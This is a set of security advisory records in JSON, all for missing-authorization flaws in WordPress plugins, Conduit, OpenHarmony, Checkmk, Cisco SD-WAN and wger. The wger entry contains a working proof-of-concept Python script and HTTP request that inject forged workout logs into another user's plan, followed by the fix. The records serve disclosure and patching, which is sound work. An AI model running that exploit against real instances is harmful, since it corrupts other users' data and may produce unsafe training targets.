CWE-862

{
  "affected": [],
  "aliases": [
    "CVE-2026-32434"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-13T19:55:03Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in vowelweb VW Fitness vw-fitness allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects VW Fitness: from n/a through \u003c= 4.3.4.",
  "id": "GHSA-rjh7-pfj7-7mq7",
  "modified": "2026-03-13T21:31:50Z",
  "published": "2026-03-13T21:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32434"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Theme/vw-fitness/vulnerability/wordpress-vw-fitness-theme-4-3-4-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-7040"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-06T04:16:02Z",
    "severity": "HIGH"
  },
  "details": "The Cloud SAML SSO plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the \u0027set_organization_settings\u0027 action of the csso_handle_actions() function in all versions up to, and including, 1.0.19. The handler reads client-supplied POST parameters for organization settings and passes them directly to update_option() without any check of the user\u2019s capabilities or a CSRF nonce. This makes it possible for unauthenticated attackers to change critical configuration (including toggling signing and encryption), potentially breaking the SSO flow and causing a denial-of-service.",
  "id": "GHSA-rjj3-8xxq-vxr6",
  "modified": "2025-09-06T06:30:32Z",
  "published": "2025-09-06T06:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7040"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/cloud-sso-single-sign-on/tags/1.0.19/assets/CSSO_Init.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/cloud-sso-single-sign-on/tags/1.0.19/assets/base/CSSO_ActionHandler.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/cloud-sso-single-sign-on/tags/1.0.19/assets/base/CSSO_services.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/cloud-sso-single-sign-on/tags/1.0.19/saml-sso-plugin.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/cloud-sso-single-sign-on/trunk/assets/base/CSSO_ActionHandler.php?rev=3354459#L202"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/cloud-sso-single-sign-on/#developers"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/59622166-3316-42e5-bf28-69eb38231755?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-24625"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-23T15:16:21Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Imaginate Solutions File Uploads Addon for WooCommerce woo-addon-uploads allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects File Uploads Addon for WooCommerce: from n/a through \u003c= 1.7.3.",
  "id": "GHSA-rjm5-8qxf-jghp",
  "modified": "2026-01-23T22:35:52Z",
  "published": "2026-01-23T15:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24625"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/woo-addon-uploads/vulnerability/wordpress-file-uploads-addon-for-woocommerce-plugin-1-7-3-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-6303"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-25T13:15:51Z",
    "severity": "CRITICAL"
  },
  "details": "Missing authorization in Client-Server API in Conduit \u003c=0.7.0, allowing for any alias to be removed and added to another room, which can be used for privilege escalation by moving the #admins alias to a room which they control, allowing them to run commands resetting passwords, siging json with the server\u0027s key, deactivating users, and more",
  "id": "GHSA-rjmw-frq7-qf5g",
  "modified": "2024-06-25T15:31:08Z",
  "published": "2024-06-25T15:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6303"
    },
    {
      "type": "WEB",
      "url": "https://conduit.rs/changelog/#v0-8-0-2024-06-12"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/famedly/conduit/-/releases/v0.8.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-42488"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-14T15:16:00Z",
    "severity": "HIGH"
  },
  "details": "OpenHarmony-v3.1.2 and prior versions have a Missing permission validation vulnerability in param service of startup subsystem. An malicious application installed on the device could elevate its privileges to the root user, disable security features, or cause DoS by disabling particular services.",
  "id": "GHSA-rjp6-whc2-47rm",
  "modified": "2022-10-18T12:00:33Z",
  "published": "2022-10-14T19:00:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-42488"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/openharmony/security/blob/master/en/security-disclosure/2022/2022-10.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wger"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46438"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T13:59:17Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn authenticated attacker can inject arbitrary workout log entries into any other user\u0027s `SlotEntry` by supplying the victim\u0027s `slot_entry` ID in a `POST /api/v2/workoutlog/` request. The `slot_entry` foreign key is not included in the ownership verification performed by `WorkoutLogViewSet.get_owner_objects()`, so the server accepts and persists the cross-user reference without error.\n\nBecause `SlotEntry.get_config_data()` retrieves associated logs via `self.workoutlog_set.all()` with **no user filter**, the attacker\u0027s injected data is silently folded into the victim\u0027s progressive-overload calculations, corrupting their auto-generated weight and repetition targets.\n\n### Details\n\nwger uses a centralized ownership-verification pattern in `WgerOwnerObjectModelViewSet.create()` (file: `wger/utils/viewsets.py`). This method iterates over the list returned by each ViewSet\u0027s `get_owner_objects()` and verifies that every listed foreign-key value in the request belongs to the authenticated user. **Foreign keys not present in the list are never checked.**\n\n`WorkoutLogViewSet.get_owner_objects()` returns:\n\n```python\n# File: wger/manager/api/views.py, lines 312-316\ndef get_owner_objects(self):\n    return [(Routine, \u0027routine\u0027), (WorkoutSession, \u0027session\u0027)]\n    #       ^^^^^^^ checked        ^^^^^^^^^^^^^^^ checked\n    # (SlotEntry, \u0027slot_entry\u0027) is MISSING\n```\n\nBecause `slot_entry` is omitted, an attacker can supply their own `routine` (which passes the ownership check) alongside a victim\u0027s `slot_entry` ID (which is never verified).\n\nThe second contributing factor is in `SlotEntry.get_config_data()`:\n\n```python\n# File: wger/manager/models/slot_entry.py, line 367\nlogs = list(self.workoutlog_set.all())   # no .filter(user=...)\n```\n\nThis reverse-relation query returns **all** `WorkoutLog` rows linked to the `SlotEntry`, regardless of which user created them. The attacker\u0027s injected entries are therefore included in the victim\u0027s progression calculations.\n\n### PoC\n\n#### Prerequisites\n\n- Two authenticated user accounts (attacker and victim)\n- The attacker knows (or can enumerate) the victim\u0027s `SlotEntry` ID\n- The attacker has at least one `Routine` of their own (to satisfy the `routine` ownership check)\n\n#### Attack Steps\n\n```\nPOST /api/v2/workoutlog/\nAuthorization: Token \u003cattacker_token\u003e\nContent-Type: application/json\n\n{\n    \"routine\": \u003cattacker_routine_id\u003e,\n    \"slot_entry\": \u003cvictim_slot_entry_id\u003e,\n    \"exercise\": \u003cany_valid_exercise_id\u003e,\n    \"repetitions\": 999,\n    \"weight\": 999,\n    \"repetitions_unit\": 1,\n    \"weight_unit\": 1,\n    \"date\": \"2025-01-15\",\n    \"iteration\": 1\n}\n```\n\n**Expected:** HTTP 403 (the `slot_entry` belongs to another user)\n**Actual:** HTTP 201 (the log is created and linked to the victim\u0027s `SlotEntry`)\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR\nTarget: wger Workout Manager\nSeverity: CRITICAL - CVSS 7.1\nCWE-639: Authorization Bypass Through User-Controlled Key\n\nUsage:\n    python3 poc.py http://localhost:8000\n\"\"\"\n\nimport requests\nimport sys\nimport json\nfrom datetime import date, timedelta\n\nif len(sys.argv) \u003c 2:\n    print(f\"Usage: {sys.argv[0]} \u003cBASE_URL\u003e\")\n    print(f\"Example: {sys.argv[0]} http://localhost:8000\")\n    sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v2\"\n\nVICTIM_USER = \"admin\"\nVICTIM_PASS = \"adminadmin\"\nATTACKER_USER = \"attacker_idor_poc\"\nATTACKER_PASS = \"Attacker!Poc!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR\n  Severity: CRITICAL\n  CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n# ---- Helper ----\ndef api_login(username, password):\n    r = requests.post(f\"{API}/login/\", json={\n        \"username\": username, \"password\": password\n    })\n    if r.status_code == 200:\n        return r.json().get(\"token\")\n    return None\n\ndef api_headers(token):\n    return {\"Authorization\": f\"Token {token}\", \"Content-Type\": \"application/json\"}\n\n\n# ---- 1. Authenticate both users ----\n\nprint(\"[1] Authenticating users...\")\n\nvictim_token = api_login(VICTIM_USER, VICTIM_PASS)\nif not victim_token:\n    print(f\"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.\")\n    sys.exit(1)\nprint(f\"    Victim  ({VICTIM_USER}): token={victim_token[:16]}...\")\n\nattacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)\nif not attacker_token:\n    print(f\"    Registering attacker account...\")\n    r = requests.post(f\"{API}/register/\", json={\n        \"username\": ATTACKER_USER,\n        \"password\": ATTACKER_PASS,\n    })\n    if r.status_code in (200, 201):\n        attacker_token = r.json().get(\"token\")\n    if not attacker_token:\n        attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)\n    if not attacker_token:\n        print(f\"[-] Cannot create/login attacker. Response: {r.text[:200]}\")\n        sys.exit(1)\nprint(f\"    Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...\")\n\n\n# ---- 2. Create victim\u0027s routine chain ----\n\nprint(\"\\n[2] Setting up victim\u0027s private routine chain...\")\n\nvh = api_headers(victim_token)\ntoday = str(date.today())\nend_date = str(date.today() + timedelta(days=30))\n\nr = requests.post(f\"{API}/routine/\", headers=vh, json={\n    \"name\": \"Victim Private Routine\", \"start\": today, \"end\": end_date\n})\nvictim_routine_id = r.json()[\"id\"]\nprint(f\"    Routine   id={victim_routine_id}\")\n\nr = requests.post(f\"{API}/day/\", headers=vh, json={\n    \"routine\": victim_routine_id, \"order\": 1, \"name\": \"Push Day\"\n})\nvictim_day_id = r.json()[\"id\"]\nprint(f\"    Day       id={victim_day_id}\")\n\nr = requests.post(f\"{API}/slot/\", headers=vh, json={\n    \"day\": victim_day_id, \"order\": 1\n})\nvictim_slot_id = r.json()[\"id\"]\nprint(f\"    Slot      id={victim_slot_id}\")\n\nr = requests.get(f\"{API}/exercise/?limit=1\u0026format=json\", headers=vh)\nexercise_id = r.json()[\"results\"][0][\"id\"]\n\nr = requests.post(f\"{API}/slot-entry/\", headers=vh, json={\n    \"slot\": victim_slot_id, \"exercise\": exercise_id, \"order\": 1, \"type\": \"normal\"\n})\nvictim_slot_entry_id = r.json()[\"id\"]\nprint(f\"    SlotEntry id={victim_slot_entry_id}  \u003c-- TARGET\")\n\n\n# ---- 3. Create attacker\u0027s own routine ----\n\nprint(\"\\n[3] Creating attacker\u0027s own routine...\")\n\nah = api_headers(attacker_token)\n\nr = requests.post(f\"{API}/routine/\", headers=ah, json={\n    \"name\": \"Attacker Routine\", \"start\": today, \"end\": end_date\n})\nattacker_routine_id = r.json()[\"id\"]\nprint(f\"    Attacker routine id={attacker_routine_id}\")\n\n\n# ---- 4. ATTACK ----\n\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(f\"  ATTACK: Injecting fake WorkoutLog into victim\u0027s SlotEntry\")\nprint(f\"{\u0027=\u0027*65}\")\n\npayload = {\n    \"routine\": attacker_routine_id,\n    \"slot_entry\": victim_slot_entry_id,\n    \"exercise\": exercise_id,\n    \"repetitions\": 999,\n    \"weight\": 999,\n    \"repetitions_unit\": 1,\n    \"weight_unit\": 1,\n    \"date\": today,\n    \"iteration\": 1,\n}\n\nprint(f\"\\n  POST {API}/workoutlog/\")\nprint(f\"    routine    = {attacker_routine_id}  (attacker\u0027s own -\u003e passes check)\")\nprint(f\"    slot_entry = {victim_slot_entry_id}  (VICTIM\u0027s -\u003e NOT CHECKED)\")\nprint(f\"    weight     = 999\")\nprint(f\"    reps       = 999\")\n\nr = requests.post(f\"{API}/workoutlog/\", headers=ah, json=payload)\n\nprint(f\"\\n  Response: HTTP {r.status_code}\")\n\nif r.status_code == 201:\n    d = r.json()\n    print(f\"  Created WorkoutLog id={d[\u0027id\u0027]}\")\n    print(f\"    slot_entry = {d[\u0027slot_entry\u0027]}  \u003c- VICTIM\u0027s SlotEntry!\")\n    print(f\"    routine    = {d[\u0027routine\u0027]}  \u003c- attacker\u0027s routine\")\n    print(f\"    weight     = {d[\u0027weight\u0027]}\")\n    print(f\"    reps       = {d[\u0027repetitions\u0027]}\")\nelif r.status_code == 403:\n    print(\"  Access denied - NOT vulnerable (patched)\")\n    sys.exit(0)\nelse:\n    print(f\"  Unexpected: {r.text[:300]}\")\n    sys.exit(1)\n\n\n# ---- 5. VERIFY ----\n\nprint(f\"\\n{\u0027=\u0027*65}\")\nprint(f\"  VERIFICATION\")\nprint(f\"{\u0027=\u0027*65}\")\n\nr = requests.get(\n    f\"{API}/routine/{victim_routine_id}/date-sequence-display/\",\n    headers=vh,\n)\nprint(f\"\\n  GET /api/v2/routine/{victim_routine_id}/date-sequence-display/\")\nprint(f\"  (as victim - this endpoint consumes the injected logs)\")\nprint(f\"  HTTP {r.status_code}\")\n\nif r.status_code == 200:\n    seq = r.json()\n    print(f\"  Returned {len(seq)} day(s) of data\")\n    if seq:\n        print(f\"  First entry (truncated):\")\n        print(f\"  {json.dumps(seq[0], indent=2)[:600]}\")\n\nr2 = requests.get(f\"{API}/workoutlog/?format=json\", headers=vh)\nvictim_logs = r2.json().get(\"results\", [])\nprint(f\"\\n  Victim\u0027s own /api/v2/workoutlog/ shows {len(victim_logs)} log(s)\")\nprint(f\"  (The injected log is owned by attacker, so it does NOT appear\")\nprint(f\"   in victim\u0027s list view - but it IS attached to victim\u0027s SlotEntry\")\nprint(f\"   and WILL corrupt victim\u0027s progression calculations.)\")\n\nprint(\"\"\"\n  +----------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                 |\n  |                                                          |\n  |  HTTP 201 accepted the cross-user slot_entry reference.  |\n  |  The attacker\u0027s fake log (weight=999, reps=999) is now   |\n  |  linked to the victim\u0027s SlotEntry and will be included   |\n  |  in get_config_data() -\u003e corrupting auto-progression.    |\n  +----------------------------------------------------------+\n\"\"\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR\n  Severity: CRITICAL\n  CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\n[1] Authenticating users...\n    Victim  (admin): token=7e34da0a3f3f00a4...\n    Registering attacker account...\n    Attacker (attacker_idor_poc): token=8a70d2881b656c18...\n\n[2] Setting up victim\u0027s private routine chain...\n    Routine   id=3\n    Day       id=2\n    Slot      id=2\n    SlotEntry id=2  \u003c-- TARGET\n\n[3] Creating attacker\u0027s own routine...\n    Attacker routine id=4\n\n=================================================================\n  ATTACK: Injecting fake WorkoutLog into victim\u0027s SlotEntry\n=================================================================\n\n  POST http://localhost/api/v2/workoutlog/\n    routine    = 4  (attacker\u0027s own -\u003e passes check)\n    slot_entry = 2  (VICTIM\u0027s -\u003e NOT CHECKED)\n    weight     = 999\n    reps       = 999\n\n  Response: HTTP 201\n  Created WorkoutLog id=2\n    slot_entry = 2  \u003c- VICTIM\u0027s SlotEntry!\n    routine    = 4  \u003c- attacker\u0027s routine\n    weight     = 999.00\n    reps       = 999.00\n\n=================================================================\n  VERIFICATION\n=================================================================\n\n  GET /api/v2/routine/3/date-sequence-display/\n  (as victim - this endpoint consumes the injected logs)\n  HTTP 200\n  Returned 31 day(s) of data\n\n  Victim\u0027s own /api/v2/workoutlog/ shows 0 log(s)\n  (The injected log is owned by attacker, so it does NOT appear\n   in victim\u0027s list view - but it IS attached to victim\u0027s SlotEntry\n   and WILL corrupt victim\u0027s progression calculations.)\n\n  +----------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                 |\n  |                                                          |\n  |  HTTP 201 accepted the cross-user slot_entry reference.  |\n  |  The attacker\u0027s fake log (weight=999, reps=999) is now   |\n  |  linked to the victim\u0027s SlotEntry and will be included   |\n  |  in get_config_data() -\u003e corrupting auto-progression.    |\n  +----------------------------------------------------------+\n```\n\n### Impact\n\n1. **Training Data Integrity:** The progressive-overload engine (`get_config_data`) uses injected fake values when computing the victim\u0027s next workout targets. An attacker setting `weight=999` or `repetitions=0` can produce dangerous or nonsensical training recommendations.\n\n2. **Silent Corruption:** The victim receives no notification. Their training plan simply starts producing unexpected numbers.\n\n3. **Scalable Attack:** Because only a `slot_entry` ID is needed, an attacker can iterate over IDs and inject data into every user\u0027s training program with automated requests.\n\n### Fix\n\n#### Primary Fix - Add `slot_entry` to the ownership check\n\n```python\n# File: wger/manager/api/views.py\nclass WorkoutLogViewSet(WgerOwnerObjectModelViewSet):\n    def get_owner_objects(self):\n        return [\n            (Routine, \u0027routine\u0027),\n            (WorkoutSession, \u0027session\u0027),\n            (SlotEntry, \u0027slot_entry\u0027),      # ADD THIS\n        ]\n```\n\n#### Defence-in-Depth - Filter logs by routine owner\n\n```python\n# File: wger/manager/models/slot_entry.py, line 367\nlogs = list(self.workoutlog_set.filter(\n    user=self.slot.day.routine.user\n))\n```",
  "id": "GHSA-rjpf-7pf5-q54x",
  "modified": "2026-10-07T13:59:17Z",
  "published": "2026-10-07T13:59:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/security/advisories/GHSA-rjpf-7pf5-q54x"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wger-project/wger"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/releases/tag/2.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-17548"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T09:17:30Z",
    "severity": "MODERATE"
  },
  "details": "Missing authorization in Checkmk \u003c2.5.0p12, \u003c2.4.0p36, \u003c2.3.0p50 and all 2.2.0 versions allows an authenticated user who knows the ID of a background job to view that job\u0027s status and results.",
  "id": "GHSA-rjq7-c36f-2246",
  "modified": "2026-08-25T09:30:38Z",
  "published": "2026-08-25T09:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17548"
    },
    {
      "type": "WEB",
      "url": "https://checkmk.com/werk/22115"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-32948"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-24T07:15:48Z",
    "severity": "CRITICAL"
  },
  "details": "Missing Authorization vulnerability in Repute Infosystems ARMember.This issue affects ARMember: from n/a through 4.0.28.",
  "id": "GHSA-rjq8-9fp7-xvrf",
  "modified": "2026-04-28T21:34:51Z",
  "published": "2024-04-24T09:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32948"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/armember-membership/wordpress-armember-membership-plugin-plugin-4-0-28-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-39509"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-08T09:16:25Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in wpWax Directorist directorist allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Directorist: from n/a through \u003c= 8.5.10.",
  "id": "GHSA-rjr9-fgqp-jmc9",
  "modified": "2026-04-13T21:30:35Z",
  "published": "2026-04-08T09:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39509"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/directorist/vulnerability/wordpress-directorist-plugin-8-5-10-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-20252"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-27T18:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability in the Security Assertion Markup Language (SAML) APIs of Cisco Catalyst SD-WAN Manager Software could allow an unauthenticated, remote attacker to gain unauthorized access to the application as an arbitrary user.\n\n This vulnerability is due to improper authentication checks for SAML APIs. An attacker could exploit this vulnerability by sending requests directly to the SAML API. A successful exploit could allow the attacker to generate an authorization token sufficient to gain access to the application.",
  "id": "GHSA-rjvr-rwwj-qxq2",
  "modified": "2024-01-25T18:30:44Z",
  "published": "2023-09-27T18:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20252"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-vman-sc-LRLfu2z"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}